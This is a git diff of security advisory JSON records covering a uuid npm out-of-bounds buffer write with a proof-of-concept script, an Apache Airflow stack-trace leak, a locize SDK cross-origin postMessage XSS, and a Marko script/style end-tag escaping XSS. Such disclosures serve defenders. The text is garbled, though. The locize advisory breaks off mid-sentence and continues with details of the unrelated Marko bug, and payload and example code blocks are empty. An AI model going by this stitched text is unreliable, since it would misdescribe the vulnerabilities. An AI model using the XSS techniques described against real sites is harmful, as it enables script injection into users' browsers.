`v7` explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3`/`v5` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from './dist-node/index.js';\nconst ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';\nfor (const [name,fn] of [\n ['v4',()=>v4({},new Uint8Array(8),4)],\n ['v5',()=>v5('x',ns,new Uint8Array(8),4)],\n ['v6',()=>v6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,'NO_THROW'); }\n catch(e){ console.log(name,'THREW',e.name); }\n}\"\n```\n\nObserved:\n\n- `v4 THREW RangeError`\n- `v5 NO_THROW`\n- `v6 NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4`/`v1`/`v7`:\n\n```ts\nif (offset < 0 || offset + 16 > buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3` and `v5`)\n- `src/v6.ts`", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "uuid" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.0.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq" + }, + { + "type": "WEB", + "url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34" + }, + { + "type": "PACKAGE", + "url": "https://github.com/uuidjs/uuid" + }, + { + "type": "WEB", + "url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1285", + "CWE-787" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:53:24Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2026/04/GHSA-w7cf-2pmc-5m4c/GHSA-w7cf-2pmc-5m4c.json b/advisories/github-reviewed/2026/04/GHSA-w7cf-2pmc-5m4c/GHSA-w7cf-2pmc-5m4c.json similarity index 58% rename from advisories/unreviewed/2026/04/GHSA-w7cf-2pmc-5m4c/GHSA-w7cf-2pmc-5m4c.json rename to advisories/github-reviewed/2026/04/GHSA-w7cf-2pmc-5m4c/GHSA-w7cf-2pmc-5m4c.json index 97423b628521c..f2c5bf27ab035 100644 --- a/advisories/unreviewed/2026/04/GHSA-w7cf-2pmc-5m4c/GHSA-w7cf-2pmc-5m4c.json +++ b/advisories/github-reviewed/2026/04/GHSA-w7cf-2pmc-5m4c/GHSA-w7cf-2pmc-5m4c.json @@ -1,19 +1,40 @@ { "schema_version": "1.4.0", "id": "GHSA-w7cf-2pmc-5m4c", - "modified": "2026-04-20T18:31:45Z", + "modified": "2026-04-22T17:17:28Z", "published": "2026-04-18T09:30:20Z", "aliases": [ "CVE-2026-30912" ], + "summary": "Apache Airflow exposes SQL stack trace despite \"api/expose_stack_traces\" set to false", "details": "In case of SQL errors, exception/stack trace of errors was exposed in API even if \"api/expose_stack_traces\" was set to false. That could lead to exposing additional information to potential attacker. Users are recommended to upgrade to Apache Airflow 3.2.0, which fixes the issue.", "severity": [ { "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "apache-airflow-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.2.0" + } + ] + } + ] } ], - "affected": [], "references": [ { "type": "ADVISORY", @@ -23,6 +44,10 @@ "type": "WEB", "url": "https://github.com/apache/airflow/pull/63028" }, + { + "type": "WEB", + "url": "https://github.com/apache/airflow" + }, { "type": "WEB", "url": "https://lists.apache.org/thread/tp6kz1hnfb3zsrrtg19myo8x5x80w8r9" @@ -36,9 +61,9 @@ "cwe_ids": [ "CWE-668" ], - "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:17:28Z", "nvd_published_at": "2026-04-18T07:16:10Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-w937-fg2h-xhq2/GHSA-w937-fg2h-xhq2.json b/advisories/github-reviewed/2026/04/GHSA-w937-fg2h-xhq2/GHSA-w937-fg2h-xhq2.json new file mode 100644 index 0000000000000..f5e9878459711 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-w937-fg2h-xhq2/GHSA-w937-fg2h-xhq2.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-w937-fg2h-xhq2", + "modified": "2026-04-22T20:32:11Z", + "published": "2026-04-22T20:32:11Z", + "aliases": [], + "summary": "locize Client SDK: Cross-origin DOM XSS & Handler Hijack Through Missing e.origin Validation in InContext Editor ", + "details": "### Summary\n\nVersions of the `locize` client SDK (the browser module that wires up the locize InContext translation editor) prior to 4.0.21 register a `window.addEventListener(\"message\", …)` handler that dispatches to registered internal handlers (`editKey`, `commitKey`, `commitKeys`, `isLocizeEnabled`, `requestInitialize`, …) **without validating `event.origin`**.\n\nThe pre-patch listener in `src/api/postMessage.js` gates dispatch on `event.data.sender === \"i18next-editor-frame\"` — that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host — an iframe on a third-party page, a `window.open`-ed victim, a parent frame reaching down — could send a crafted `postMessage` and trigger the internal handlers.\n\n### Impact\n\nDepending on which handler the attacker invokes, distinct consequences follow. All of them share the same root cause: the handlers implicitly assumed the payload came from the real editor iframe.\n\n- **Cross-origin DOM XSS** via `editKey` / `commitKeys`: the pre-patch `handleEditKey` assigned attacker-controlled payload values to `item.node.innerHTML` and to `item.node.setAttribute(attr, value)`. That allowed planting ``, ``, etc. and inject arbitrary HTML/JavaScript, resulting in cross-site scripting.\n\n### Details\n\nThe affected helpers used case-sensitive regular expressions to detect attempts at closing the surrounding tag:\n\n```js\n// packages/runtime-tags/src/html/content.ts\nconst unsafeScriptReg = /<\\/script/g;\nconst unsafeStyleReg = /<\\/style/g;\n\n// packages/runtime-class/src/runtime/html/helpers/escape-script-placeholder.js\nconst unsafeCharsReg = /<\\/script/g;\n\n// packages/runtime-class/src/runtime/html/helpers/escape-style-placeholder.js\nconst unsafeCharsReg = /<\\/style/g;\n```\n\nHTML tag names are case-insensitive in the browser parser, so inputs such as ``, ``, or `` were not matched by these regexes and passed through the helpers unchanged. A browser rendering the output treats the mixed-case end tag as a valid closing tag, terminating the script or style context, and then parses anything that follows as HTML.\n\nThe Marko compiler routes interpolated values inside `\n```\n\nWould yield the following:\n\n```html\n\n```\n\nWhich is then parsed in any WHATWG-compliant browser as:\n```html\n\n\n```\n\n### Impact\n\nCross-site scripting. Any Marko template that explicitly interpolates untrusted data inside a `